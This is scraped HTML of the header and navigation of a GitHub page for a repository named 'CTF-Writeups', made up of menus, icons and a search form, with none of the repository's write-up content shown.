<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="481769760" data-scoped-search-url="/not1cyyy/CTF-Writeups/search" data-owner-scoped-search-url="/users/not1cyyy/search" data-unscoped-search-url="/search" data-turbo="false" action="/not1cyyy/CTF-Writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="/J5Yx7ZWw4BH/LOkc8mXoMS8YB/MOGfiECyUrthkQsSnIOYkmwccXkvqhHijLAu/evapFiQuvn4q/iXs3NUw8w==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> not1cyyy </span> <span>/</span> CTF-Writeups
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>0</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>7</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
